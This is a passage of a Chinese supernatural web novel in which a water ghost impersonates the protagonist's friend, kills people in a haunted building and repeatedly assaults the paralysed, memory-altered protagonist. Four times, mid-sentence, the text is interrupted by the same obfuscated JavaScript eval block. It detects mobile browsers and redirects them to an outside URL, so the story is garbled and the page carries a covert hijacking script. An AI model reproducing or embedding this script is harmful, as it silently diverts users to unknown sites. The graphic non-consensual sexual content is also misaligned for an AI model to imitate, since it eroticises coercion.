闻时秋笑着推开卧室门。 “还在睡觉吗?不是你说要交作业的?” 打开门的瞬间,闻时秋的笑容凝固在脸上,然后慢慢消失,面无表情地给闻家拨去了电话。 “查铃铛的位置。”他眼神冰冷地看向房间内残余的水渍,天花板上还能看见隐隐水痕——这栋公寓绝不可能漏水,竟然能有东西从他眼皮子底下把小卿带走。 闻时秋蹲下身,划破手指,从指尖滴出一滴血来。 那滴血隐隐透着金光,没入水渍中,很快令水渍变成一滩灰色的浑浊液体。 “果然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985796|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水鬼,”闻时秋对电话那头说,“立刻把水鬼的鬼蜮地址发给我。” · 卿向南被迫喝了很多水。 他的大脑昏沉,只能看见模糊的,似乎是烙成的脸,但那张脸变得有些奇怪。 “不要……” 刚一开口,就被压着舌尖,灌入了更多水。 他感觉浑身的力气都被抽干了,连指尖都动不了。 只是被人抱在怀里,被迫仰着头,承受灌入胃里的水流。 因为来不及吞咽,多余的水流沿着嘴角一路淌过锁骨,双眼失神,只有眼角挂着泪珠,看起来很可怜。 卿向南觉得很难受,甚至有点儿委屈。 他已经很努力了。 被晒得那么难受,也一口水都没有喝。 现在却要被按在这里,被迫灌这么多水。 好像之前的努力全都白费了一样,而且他甚至没有挣扎的办法。 说了不要了,还是要继续,明明已经要了符纸了,也很快洗了澡,还和闻时秋住在一起。 可是还是要被拉进来这种鬼地方。 他还发现了异常。 要不是烙成骗了他,他才不会这么倒霉。 卿向南指尖动了动,一点一点地,捏紧了烙成的袖子。 水流停下了,怪异的中空长舌收了回去,那张脸,也慢慢变得像烙成起来。 “烙成”垂眼看着卿向南,似乎是在等他开口说话。 “讨厌你……” 卿向南的指尖用力,勉强捏住一点儿布料。 烙成愣了一下。 “什么?” 他捏着卿向南的下巴,看到对方被水液覆盖,亮晶晶的唇珠抿了一下。 他是没想到,这种时候了,卿向南还能这样说话。 简直像是在撒娇。 湿润的眼睫缓慢地眨了一下,带着鼻音的声音,很小声地说,“我已经说了不要了。” 手腕上的铃铛发出轻响,卿向南被捧着脸,从楼梯上扶了起来。 “干嘛讨厌我?” 眼前的脸,一会儿像烙成,一会儿像池练诗。 一会儿,又变成陌生的,其他人的脸。 卿向南被抓着手腕,很委屈地低头。 他的脑子昏昏沉沉的,低头的时候,觉得自己的肚子很难受。 小腹微微鼓起,对方抓着自己手腕的手,也冷得要命。 “就讨厌你。” 锋利的尖牙衔住肩膀,细长的舌尖抵着那里的软肉。 “吃掉你哦?” 卿向南只是低头掉眼泪,视野里朦胧一片,抓着人衣角,很委屈地强调。 “还是讨厌你。” 细密的牙齿咬住他半边儿肩膀,只要一个用力,就能将这一大块肉咬下。 太诱人了,一看就很好吃。 清亮的阴水顺着细密的牙齿流出来,舌尖反复舔舐,馋得要流口水了。 但最终,牙齿还是收了回去,长舌只恋恋不舍地圈着肩膀,缓慢松开。 卿向南脑子里一片混沌,迷迷糊糊地睡了过去。 松软的床,洁白的房间。 就好像他根本没有进入什么鬼蜮一样。 14. 老公? 一群年轻人接连下了楼,楼里的阴凉让他们松了口气,但口渴也就显得更加明显,其中一个戴帽子的男生几步走进楼层,大声呼喊冯义的名字。 “冯义?大佬?你们在哪里啊?” 他看到走廊里干净明亮的房间,更是立刻放下心来,甚至没能察觉他已经和其他人走散,逃出生天的感觉让他失去了警惕心。 “在这边,你直接推门进来就好,我们这里还有其他人也在。” 男生听见了冯义的声音,很清晰,就隔着门,他完全放心了,推门而入的瞬间他眼皮跳了一下,不由得有些发怵,可门后是一条长桌,上面放着几瓶水,还有一张表格。 冯义打扮的人背对着他站着,面前聚集着几个低着头的人,看不见脑袋,大概都在埋头写什么。 “你先把表格填了,顾铭凌给你的符纸有好好收着吧?他说时间久了需要再加朱砂,你记得等下交出来和他们一起拿去找顾铭凌。” 男生笑着嗯了一声,兴高采烈地拿起笔填写表格,写上自己的名字,年龄,甚至性别。 这没什么不对,反正顾铭凌和冯义一看就是那种特别的部门人员,上面要统计也很正常。 他一边填写,一边觉得头昏,只以为是刚才中了暑导致的,胸口的符纸被他掏出来放在桌上,捂着头,头昏脑胀地说,“大佬,我写好了,我们什么时候离开这栋楼啊?” 说着,他拧开了矿泉水瓶,“你们真好,居然还准备了水给我们喝。” 咕噜咕噜半瓶水下肚,口中的干渴得到缓解,却不知道为什么,脑袋越来越昏沉,整个低了下去。 他走到冯义身后,伸手拍了拍冯义的肩膀,心口忽然一紧,恐惧沿着四肢百骸猛地灌入,只见那一圈儿围着“冯义”的人全都没有脑袋,气管、食道、颈椎……他们的脑袋被割下,那一个个平整的横截面吓得他想要尖叫,浑身战栗地发现自己的头越来越沉,啪嗒一声,他看见自己的身体迅速地往上飞去,在意识断裂之前,他的脑袋重重地砸在地上,泼水般发出哗啦声,整颗头瞬间融化。 一声尖叫,后一个槑头槑脑找过来的男生屁滚尿流地摔倒在地,又手脚并用地爬开,哭得涕泗横流,一股尿臊味扩散开,竟然已经被吓得失去神智。 他连滚带爬地撞到了一扇门,又从楼梯上一骨碌地滚了下去,滚到一双长腿边,抬起头时,半是痴傻的眼睛里却忽然一亮,好像抓住了救命稻草一样抱着那人的大腿喊道,“哥,哥,烙成哥,救救我,救救我,我朋友死、死了!” 烙成微微一笑,“噢?怎么死的?” 他半蹲下来,把男生从地上扶起来,看男生心情似稍微平复一点,忽然关切地问,“是不是这样死的?” 咔嚓一声,烙成的脑袋一歪,整个从脖子上掉了下来,只余下一点儿皮肉连接,男生张大嘴巴吓得往下一跪时,却见到烙成的头猛地炸开,喷涌的水柱直接将整个楼道淹没,阴森恐怖的水流扑面而来,像是喷涌的尸水般可怕。 男生眼前一黑,水液慢慢褪去时,地上只出现了一具皮肤青白的尸体。 连杀十人,烙成心情极为愉悦地顺着走廊前行,光洁明亮的走廊,怎么看都和恐惧无关。 他忽然停下,停在卿向南的门前。 噢,他又想起来这个人了。 该怎么杀他呢? 是淹死,还是断头,或者让水撑破他的肚子,叫他整个炸开? 不行啊,这些都太暴殄天物。 “烙成”舔了舔唇,与人的舌头完全不同的,蜥蜴般的长舌伸了出来,舌尖看得到一个小孔,里面是中空的管道。 好想吃掉。 他吃了很多人,可以毫无感情地翻看人类的记忆,但是,他得承认,自从吃掉了一个叫作池练诗的人类,和另一个叫作烙成的人类以后,他每次看到卿向南,都变得尤其有食欲。 连心脏都怦怦直跳的那种食欲,如果不是为了演戏,只在发现卿向南的那个瞬间,他就已经把卿向南吃进肚子里了。 但太可惜了,他又必须要演戏,因为卿向南手腕上居然有鬼新娘的铜钱,根本没办法直接进入他的鬼蜮。 没关系的,他很擅长制造幻觉杀人,他很有耐心,要不了多久,就能把卿向南吃掉了。 只是这样想,止不住的涎水就顺着水鬼的长舌滴落,他的身体扭曲,肢体怪异地绕着卿向南的门爬行,眼睛贴在猫眼上,脖子伸得极长地往里面挤,口水越流越多。 好想吃好想吃…… 心跳得越来越快,越来越快 他甚至没心思再去杀其他人了。 这都怪卿向南,突然说什么讨厌他,搞得他觉得很奇怪。 哪里有食物敢这么跟食客说话的。 现在,他又觉得心跳很快。 看到卿向南躺在床上睡觉的时候,更是几乎要把自己从猫眼里挤进去。 他的眼睛已经钻了进去,整个身体也顺着猫眼往里进入。 好好吃…… 脸也好吃,脖子也好吃,肩膀也好吃,连手指头都很好吃的样子…… 他感觉自己饿得像是几百年没有见过人一样。 忽然,他看见卿向南伸手揉眼睛,慢慢从床上起来。 看向四周的眼神很是茫然。 挤进去的眼珠猛地缩回,那走廊上样貌恐怖,以扭曲姿势趴在门上的怪物,忽然往后一推,迅速地变成了人形。 甚至还是相当俊美的身形,只是脸上模糊一片,却也就这样走进了房间里。 推门而入的时候,正看见卿向南低头看着自己的肚子,有些疑惑地喊了一句,“老公?” · 昏暗的屋内,顾铭凌有些困惑地往手腕上缠绕墨斗。 “鬼气到处都是,但是我到现在都没有发现水鬼。” 说着,他又看了身边的冯义一眼,得益于阴阳眼,身边人如果是鬼冒充,他都能直接看出来。 但此刻看冯义,对方虽然没有鬼相,浑身却缠绕着浓郁的鬼气,他们一定已经和鬼长时间且近距离地接触过了,但是两个人居然都没有察觉。 顾铭凌在废弃的写字楼内布下阵法,不得不承认他对冯义的初印象虽然不好,但真的合作起来却又发现,冯义其实是个很靠谱的合作对象。 他用阴阳眼辨别冯义的身份,显然冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985797|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义也有自己的办法来区分他是不是本人。 “鬼蜮一展开,我们就和其他人散开了,这次的鬼很聪明,甚至于应该提前给我们埋下了坑。” 冯义背着他厚重的双肩背包,手臂上的皮肤忽然自行脱落,露出血肉模糊的内里,他没有在意这点疼痛,只是略微拧眉,看着皮肤上浮起的图案,对顾铭凌说,“我看到了,这里已经死了十个人,鬼画无法把他们的魂魄召回,说明他们都被吃了。” “看来它又变得更强大了,而且还会越来越强。” 一个在鬼蜮里短时间内吃了十个人的鬼杀人速度只会越来越快,也会越来越强,它们不会停下杀人的脚步。 这一次一共进入了100人,如果在他们找到水鬼之前,这一百人全军覆没,顾铭凌就不得不在冯义面前暴露万鬼窟的存在了。 他不愿如此,那天晚上,万鬼窟就已经难以忍耐地想要吃掉水鬼。可以说以顾铭凌现在的情况,如果万鬼窟再强行逼他吃掉水鬼,鬼差立刻就会锁定他了。 顾铭凌忽然脚步一顿,手中墨线猛地窜出绷直,几枚铜钱顺着漆黑的长线滑向幽深难辨的楼道。 “不对……那个地方……” 冯义拦住他,“我先去那里吧,如果有什么意外,我会用鬼画离开的。” 他将整条手臂露出来,手臂上的皮肤撕裂而起,整张人皮悬浮在空中。 顾铭凌明白了他的意思,咬破中指,混合朱砂在这浮起的人皮上画符。 这便是鬼画符了,如此配合,即使水鬼已经不是冯义一个人能够对付的,也可以用这带血的鬼画符带更多人离开。 “你继续布阵。” 顾铭凌点头,转身往另一处走去。 他布完阵后需要以自身为阵眼,不能主动破局,只能待在阵眼所在地活动。 因此他选择了另一处鬼气稍弱的地方,但一进入那走廊,他就察觉到不对。 这是一栋废弃的写字楼,内部绝不可能有这样干净明亮的走廊。 他走过一扇扇门,谨慎查看,果然从一扇门里看到了几具站立的无头尸体,以及已经被水晕染开的符纸。 他不该选择这里作为阵眼,但已经布阵到这最后一步,他也只能无奈留下。 只希望其他还活着的人能够记得他和冯义的提醒。 不要胡乱走动,不要轻易崩溃。 也希望他们能够辨别出异常的地方,不要轻易上当。 顾铭凌打开一间房,忽视了房间里站立着的尸体,在此处摆下了阵眼。 他要将水鬼困在这层楼里,确保即使不幸让水鬼杀光了所有普通人,也不能离开这里。 只是他没想到水鬼出现得这么快,他隐住身形,只听见脚步声从门前走过。 那门是虚掩的,脚步走过门缝,消失不见。 顾铭凌平静抬眼,看见水鬼后倾的身体,以及表情诡异,从门缝里盯着他的眼睛。 ——水鬼早已经发现他了,刚才只不过是假装走过门缝,实则行走的只有下半身,那只眼睛,一只死死地盯着他。 就连房间里的无头尸体也缓缓转动,朝着他走了过来。 15. 你是我老公吗你就嗯 喊了一声老公无人答应,再一低头看见自己的小腹,卿向南已经是有些崩溃。 伸手拍了拍,甚至发现居然是实心的。 这下更崩溃了,卿向南连忙撩起衣服看着自己微微鼓起的小腹,不知道里面装了什么,搞得他像是怀孕一样。 真的很容易让人以为他变胖了。 【没事的宿主,只是肚子里有东西了而已。】 卿向南脸色一变。 【原来、原来我真的怀孕了……】 系统还没来得及说话,他已经开始声音哽咽。 【做任务之前也没说给男主当对象会怀孕啊,我是男的啊,怎么男的当老婆也要怀孕啊,这真的科学吗?你们这是诈骗啊!】 系统一个字说不出来了。 卿向南现在记忆混乱,进入这个世界以后的记忆都因为水鬼的能力改变,他无法干涉这些剧情,只能含糊地说了句“也不是这样的”。 卿向南只当系统骗人,竟然手扶着腰,从床上勉强爬起来,在整个屋子里找了一圈儿。 一个人没见到。 卿向南停下找人的动作,泪眼婆娑地看着自己的肚子,声音更为颤抖了。 “我肚子大了,男主居然人影都没有……” 他嘴唇发颤,抽泣着骂出两个字。 “渣男。” 这两个字落在刚进来的水鬼耳朵里,不知道为什么竟然诡异地咯噔了一下。 卿向南回头,看见烙成的脸,还湿着的眼睛上下打量,很小声地说了一句,“感觉挺帅的。” 下一句是,“有点像我老公。” 于是他看着烙成,又喊了一声,“老公?” 烙成嗯了一声,却没想到,卿向南下一句话脱口而出,“你是我老公吗你就嗯。” 烙成懵了,“不是你说……” “说,我肚子什么时候大的。” “刚才。” “猪啊,怀小孩儿哪里有这么快?你这么傻一看就不是我老公!谁让你进来的,你是谁,我为什么在这里?你快点出去,我要等我老公的。” 说着,卿向南就把人往外面推。 水鬼不由得冷笑,伸手抓住卿向南的手腕,正要发作,张开口说出的话却是,“你肚子就是我亲自弄大的,失忆了连老公都不认得了?” 卿向南挣扎了一下没扯出来手臂,有点儿生气地看了水鬼一眼,水鬼竟然下意识松开手,几秒以后才反应过来,重又重重地抓住了他的手腕。 “那你为什么说是昨天——” “当然是因为每天都要弄你了。” 卿向南脸上一红,忍不住骂道,“你怎么这么没节制!” 他感觉这个男主一点儿也不上进,自己的记忆也确实乱乱的,还真的可能是失忆了。 于是又忍不住盘问水鬼,“那你刚刚为什么不在?” 看水鬼没有立刻回答,卿向南开口就骂,“你这个死渣男。” 水鬼还是第一次被人这样骂,整个鬼都愣了,他没见过卿向南这样的食物,被骂了,竟然心里还有些高兴。 甚至想把脸伸过去,挨一巴掌也是爽的。 没什么脾气地辩解道,“我只是出门上班了。” 这种变态的想法令他皱眉,只觉得应该是和吃掉的两个特殊一点儿的人类有关。 他提前感知到那个叫作顾铭凌的人类身上有了不得的东西,也在头一天晚上见识过了对方的可怕。 他可不希望和这些人碰上,毕竟他如今能够在顾铭凌和冯义眼皮子底下伪装人类活动,正是捡了人鬼相斗的便宜。 那个名叫烙成的人类和鬼面斗得两败俱伤的,融合鬼面的时候,他正巧路过,自然毫不客气地把一人一鬼全都吞掉了。 虽然代价也是有的,比如他不受控制地飘荡了几天,但是,好处自然也很多。 比如说那个天师,和那个什么部门的人,都没有发现,这里其实有着两只鬼。 而那个池练诗,则是在倒霉的死掉以后被他吞噬,虽然对方的鬼魂也抢走了一小段时间他的控制权,但现在,他已经不怎么受控制了。 想来只要吃掉卿向南,他就可以彻底摆脱如今时不时变得奇怪的处境。 在卿向南转过身去时,水鬼难以控制地吞咽了一下口水,惹来卿向南的疑惑。 “你有没有听到奇怪的声音?” “没有。” 水鬼靠近卿向南,手握住卿向南的肩膀,安慰道。 “应该是你最近没有休息好产生的幻觉。” 卿向南嗯了一声,点点头。 “原来是这样……” 下一秒他立刻抬眉,手指抓着水鬼的领口往下一拽,把人拽的一个踉跄。 “那你知道我容易休息不好,肚子也变大了,你还在外面鬼混?迟早跟你离婚!把人肚子弄大了就不负责是吧?你怎么这么不负责啊!” 水鬼不知道为什么,心跳加快,他自己没有心,但能够不被顾铭凌和冯义发现,完全得益于胸腔里融合而出的人心。 此刻那颗心跳的越来越快,让它几乎觉得,自己真的越来越想吃掉卿向南了。 它忍不住张开嘴,就这么看着卿向南,想要把他吞掉。 周围的场景也开始扭曲,洁白的墙面变得灰败脏污……但下一秒,它们被强行扭曲了。 又变成了干净整洁的屋子,卿向南打开水龙头时,里面甚至能够流出清澈的水来。 那自然不是正常的水,水鬼看着卿向南接满一整杯,并不出声阻止,只等着卿向南喝下去。 却没想到卿向南把水杯往他面前一放,“给你喝。” 水鬼端起杯子,迟疑着要不要喝的时候,看见卿向南坐在餐桌边上,仰着脸看他,眼底全是他——虽然是烙成的脸。 “老公上班辛苦啦,喝杯水解解渴吧。” 水鬼于是把水喝了下去,他很给面子的喝完,还没放下杯子,就听见卿向南说,“老公,你一定是太渴了,居然把一杯水都喝完了,下班了肯定又饿又渴吧,今天也辛苦啦。” 这句话并未说完,卿向南很自然而然地对水鬼说,“这么辛苦,一定要早点吃饭才可以,你去把晚饭做了吧!越快越好噢,不能让老公你饿太久了。” ? 这合理吗? 水鬼看着卿向南没动,谁知卿向南见他站在原地,竟然自己站起来,把水杯从水鬼手里取下来放在桌上,然后把人往厨房里推。 “当然啦你要是能叫人送饭过来也是很好的,我要吃好吃的,不好吃的我不要。” 就这么被推入厨房的时候,水鬼很是震惊。 他盯着厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985798|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房里那些餐具,不明白自己为什么不去把剩下的人杀死,而是在这里跟这些东西大眼瞪小眼。 果然先把这个人类吃掉吧,吃掉以后就没这么多麻烦事了。 水鬼走出厨房,抬眼看见卿向南正窝在沙发里,蹙着眉心,用手指戳自己的小腹。 他只要心念一动,那些水就能撑破卿向南的肚子流出来,可是他没有。 与烙成一模一样的眉眼里带着笑意,走了过去,在卿向南面前蹲下。 “怎么?不喜欢吗?” “只是觉得奇怪啦。” 卿向南甚至抓着水鬼的手放在自己的小腹上,对水鬼说,“你看,实心的。” 手掌贴在微微鼓起的小腹上,白腻的肌肤让人难以释手,因为窝在沙发里的姿势,卿向南的后腰甚至垫着靠枕。 “里面都是你的东西诶,老公。” 水鬼有些头晕眼花。 一瞬间他变成了烙成,一瞬间又变成了池练诗。 只看见卿向南的唇瓣柔软地张开,轻声赞叹般地说。 “里面都是你的东西诶,老公。” 水鬼没有去找其他人,而是在几十分钟以后,从后厨端出来了三菜一汤。 他有考虑过卿向南是不是在装傻,毕竟卿向南手腕上的铃铛来历就特殊,因此他打算如果吃饭的时候卿向南还是一口不吃,那么说什么也会原形毕露,尽快将卿向南吃掉。 计划是这么计划的,但是卿向南还是夹了一筷子菜放进嘴巴里咀嚼。 那些当然不是正经饭菜,卿向南咽下去以后,水鬼放心下来,抬手去拿筷子忽然听见卿向南干呕的声音。 他冷眼睛一抬,心想眼前这个人类终于暴露了真面目,却没想到撞见一张泪眼蒙眬,张着嘴巴,水液顺着唇角流过下巴的脸。 那些水幻化而成的菜全都被卿向南吐了出来,卿向南一边吐,还一边伸手,抓住了水鬼的手腕。 不是逃开,也不是恐惧,而是哭得很可怜,很难受的样子说,“老公,我好像孕吐了。” 水鬼后知后觉的意识到,好像是有这种说法,卿向南大概还是处于一个很好拿捏的状态。 他走过去,将水递给卿向南,安慰道,“没关系,喝点水就会好了。” 谁知卿向南刚一凑过去,忽然扭头又吐,“不行,我什么都吃不下也喝不下,我不吃了,你吃吧,我要回去休息了。” 他没有立刻离开,而是站起来,让水鬼扶着自己走,眼睫上还挂着水珠,眼巴巴地看着水鬼说,“老公,我好累,吐得没力气了,你送我回去休息。” 怎么看都不像是有什么问题的样子,其实还是很傻的。 这么傻,暂时多放一段时间也没问题,而且还可以趁他睡着以后,出去把余下的人杀了。 水鬼于是把卿向南抱起来,放到房间里的床上。 “好好休息,明天还是要记得,什么东西都得吃点儿的。” 谁知卿向南抓着他的衣服不放手,虽然点头嗯嗯,但还是要求他一定一直陪着他。 “你要陪着我,不许把我一个人扔在家里,不然……不然就跟你分手。” 这么说着,卿向南竟然直接睡了过去,噙着泪,眉尖还轻轻皱着。 他真的觉得自己很难受。 难受得一直想流眼泪。 16. 这下是真的鬼压床了 卿向南不太舒服地睡了过去。 睡梦中,他好像感受到了曾经体验过的奇怪感觉。 不过,这次的感受又和恍惚记忆中的不太一样。 他觉得自己的下巴被什么捏住,然后是微凉的气息对着口鼻吹出,一瞬间连舌尖都有些发麻,整个人像是灵魂被拘束在洋娃娃里,除了能够感受到那些奇异的感觉,别的居然什么也没有。 就连轻蹙的眉心,也被指腹推开,眼睑上覆盖过什么充满水汽的东西,黏腻地滑过。 卿向南想要挣扎,这次却一点儿都动不了,甚至连眼珠颤动都做不到。 他仍然是一副平静的睡颜,可眼皮却忽然浮现出一点儿绯色,慢慢地,像是被反复摩挲一样,越来越红艳。 卿向南感觉自己的眼珠子都要被吃掉了,因为他似乎感觉到一个怪物伸长了舌头在舔他。 似乎有血盆大口对着他张开,那张嘴毫不客气地含住了他的下巴,细密的齿尖咬着他的唇瓣,轻轻摩挲,好像下一秒就要吞进去。 卿向南在睡梦中,又惊又俱地发抖,因为睁不开眼睛,又无法醒来,就连空气流动过肌肤表面的触觉都清晰的要命,好像每一根神经都被迫绷直了似的。 甚至于被握着腿骨将膝盖抬起来时,微凉的空气顺着撩开的地方往里钻。 只有些微混乱的呼吸,还有因为恐惧而从眼角滑落的泪水,勉强给出了一点反应。 卿向南觉得自己的肚子很难受。 更多的水被灌了进去,那柔软的管子进的很深,弄得他想要并拢,却因为无法控制身体,而只能被迫不断感受。 他甚至觉得对方终于松开他的时候,一点儿水流顺着身体涌了出去,尿裤子一样丢脸。 明明对方好像已经结束了,可还是不把被子盖上,就那么摆弄着他,弄出各种姿势来看。 他就像个玩偶,沉默地闭着眼睛,连被对方捏开嘴巴,也只是配合。 卿向南第二天再醒过来的时候,肚子又大了一些。 他连起身都困难,房间里很多地方都有水痕,不知道的还以为家里多处漏水,才弄得到处都是。 甚至于连沙发卷起的扶手上,都有一道狭长的痕迹,中心晕染开一团,几滴小小的水滴痕迹洇在上面,好像是人受不了了,零星掉下来的泪珠。 被迫扶着腰,分|开|腿坐在沙发上,贴的很近地,来回接触。 盖在桌角的白色桌布、枕头、圆形的门把手、磨得光滑发亮的衣帽架长杆,甚至是,打开的书本…… 不少地方还滴着水。 卿向南被迫躺在床上,很是难受地张口,想要说话,却觉得喉咙发哑,好像破了皮一样难受。 一抿唇,话也说不出来,走也走不动,伸手从放在床边的裤子里掏出一个手机,条件反射地按下一串数字,想也没想的把电话打了出去。 电话那头传来一个与水鬼不同的男声,刚一打过去就被接通,对方声音关切,“卿卿?” 卿向南张了张嘴,声音低哑地问,“你是我老公吗?” 电话那头不由得紧张起来,“发生什么事了?小卿,你在哪里?” 卿向南看了看房间,“我在一个昨天还很干净的房间里,但是今天这里好多水……” 他有点儿说不出几个字,只能草草结束电话。 “老公,我好难受” 电话忽然被掐断,水鬼从门外进来,腰间围着浴巾,浑身滴水地盯着卿向南指尖握着的手机。 “在跟谁打电话?” 卿向南放下手机,说,“想给你打电话的……” 水鬼靠近,看了一下手机界面,发现卿向南刚才已经拨出了电话,不由得捏着卿向南的下巴,强迫他看屏幕上的号码。 “打给谁了?” 卿向南张了张嘴,连肩膀都在细细颤抖,他想低头,可被迫抬起下巴,于是泪水顺着脸颊滚落,湿润了水鬼的指尖。 “想打给老公……” 嘴唇颤抖着,很有点儿可怜地说,“老公你刚才在电话里面,明明很关心我的……” 下巴忽然被更用力地捏紧,疼的卿向南又掉下好几颗眼泪,不得不抓着水鬼的手臂,声音都发着颤,“你弄疼我了。” “36秒……你跟他说了什么?” 卿向南不说话了,咬着唇,吸了吸鼻子,有点儿崩溃地哭出声来。 水鬼没理他的哭声,他的心脏跳的几乎要裂开,四分五裂般拉扯,从未体验过这样的剧烈的疼痛。 他咬着牙,冷脸逼问,“一醒来就喊不相干的人老公,以为我脾气很好,你怎么玩都不生气吗?” 他面无表情,眼底森冷,整个人说话已经带着令人战栗的寒气。 “我要是不出来,你是不是还得让你外面的野老公带你走,大着肚子跟人跑了?” “你现在这个样子,以为自己能跑到哪里去吗?嗯?” 他的脸凑的很近,手臂上纤细的,抓着他的指尖松开时,他心里竟然空了一瞬。 还没等说什么,脸颊一热,耳边响起清晰的巴掌声。 “我讨厌你……” 卿向南上气不接下气地,抖着指尖,声音沙哑地抿住了唇。 水鬼手里一松,被卿向南推开,看到卿向南被捏的红成一片的下巴,只觉得脸上的巴掌印开始发烫,整个人有些被打懵了似的,很是迟钝的看着卿向南。 “我本来不想说话了,你没听到我嗓子哑了吗?”卿向南气得指尖发抖,唇抿得发白,顿了顿,才气恼地骂水鬼,“你知不知道,我觉得我喉咙里面肿了,很难受,好像磨破皮一样。” “你根本没在我身边,你都没有守着我,还要我嗓子这么难受地跟你说话,给你打电话,就算打错了,也都是你的问题,我根本没有错……” “你、你连床单湿了都不帮我换,家里倒处都是水,根本不能住人,你还把我肚子弄大了,现在觉得我绑死在你身边了,就随便欺负我。” 卿向南眼泪一直掉,声音颤抖地说,“我好讨厌你,我要跟你分手,就算我肚子大了,外面也有的是人追我,我不要跟你过了!” 水鬼脑子里搁楞一声,下意识制止,“不要!” 卿向南很是气恼地看他一眼,“就要。” 水鬼抱住他,把人压在怀里,“我说了,不行。” 话音刚落,看见卿向南脸色一白,连忙松开,脸上又立刻挨了一巴掌。 第一次有些反应不过来,第二次就已经习惯,甚至于再来第三次第四次也是可以的。 只要卿向南别再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985799|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说分手。 抬眼看卿向南脸色,水鬼连忙表示,全都是他的错。 “你别说话了,你嗓子不舒服……”他倒了一杯水,但卿向南压根不理他,于是只能放在一边。 如此,他一点儿抓人的心思都没有了。 只是刚才那撕扯的好像要四分五裂的心,竟然又慢慢安静了下来。 只去握着卿向南的手背,往自己脸上打。 “对不起,宝宝,我只是一时激动。” “别生气了,我真的很怕你跟其他人跑了。” “只有我才是你老公,外面的人装得人模狗样,其实只是想骗你罢了。” 他甚至很积极地表示,会快点把家里弄干净的。 卿向南这才慢慢嗯了一声,有点儿挑剔地说,“家具都要换新的,我要回家里住几天。” “这里太不安全了,昨天晚上,我感觉自己好像被鬼压床一样,难受的很。” 说着,卿向南脸色一白,肉眼可见的胆小。 “你要是不想惹我生气,就自己好好把家里收拾干净。” 水鬼没动,双眼沉沉地看着卿向南。 “宝宝,你不能离开我一个人住。” 卿向南指尖蜷缩了一下,扭过去头去,“那你安排人把家里重新打扫干净,跟我一起回家里住几天。” 水鬼终于愿意让步,“好,很快家里就会打扫干净的。” 卿向南几乎是被水鬼用手掌托在腰后走出门的,出门的时候,他看着空荡荡的楼道,松了口气。 水鬼问他:“怎么了?” 卿向南回道,“我还以为会遇见别的邻居呢,那种事最好不要啦,不然怪丢人的。” “当然不会遇见什么邻居——”正说着,水鬼忽然脸色一变,刚想制止,卿向南已经看到了一间虚掩着的屋子。 他没能杀死顾铭凌,而顾铭凌显然也用阵法移形换位,令卿向南看见了他。 一个无法凭空消失的邻居。 卿向南看见了地上的符纸和太极图,“原来我们的邻居是个道士。” 他甚至看到道士身边站着的几个人,他们低着头,好像在看什么。 “他是不是算命还挺厉害啊,怎么屋子里这么多人找他?” 水鬼瞥了一眼尸仆,应和道,“是的。” 他随意扭曲卿向南的记忆,却无法把它们随心所欲的捏成自己想要的样子,但是简单的障眼法还是能够办到的。 顾铭凌就那么盘坐在屋内,看着卿向南走了几个来回,浑身汗津津地停下,停在他的门前。 “好累啊,不过终于到家了。” 这样说着,卿向南伸手,做出输入密码的动作但他面前的门其实只有一个简单的门把手。 接着,卿向南推开门,走了进去。 顾铭凌垂眸,鲜血顺着太极图流动,仍然在维持着整个阵法。 围了一圈儿的无头尸体将他困住,他可以反抗,但他现在还不愿意暴露万鬼窟。 只是,现在的情况和他预想中完全不同。 卿向南绝不该出现在这里,还是这样的状态。 他可以确信,这只水鬼有很大的问题了。 从对方变成烙成的样子出现在写字楼开始,这只鬼就已经在布局了。 17. 你老公应该不介意吧? 顾铭凌完全确信卿向南的意识被改变是在卿向南某天忽然找上门的时候。 面对他根本没有改变的身形,卿向南甚至能够自然而然地说出“大师,又在给别人算命啊”这种话来。 但卿向南来了,顾铭凌自然也就有了将尸仆迁出去的办法。 他转动罗盘,嗯了一声,然后起身送客。 看到这些客人依依不舍的样子,卿向南更确信了自己的选择是正确的。 他确实可以找这个大师帮忙。 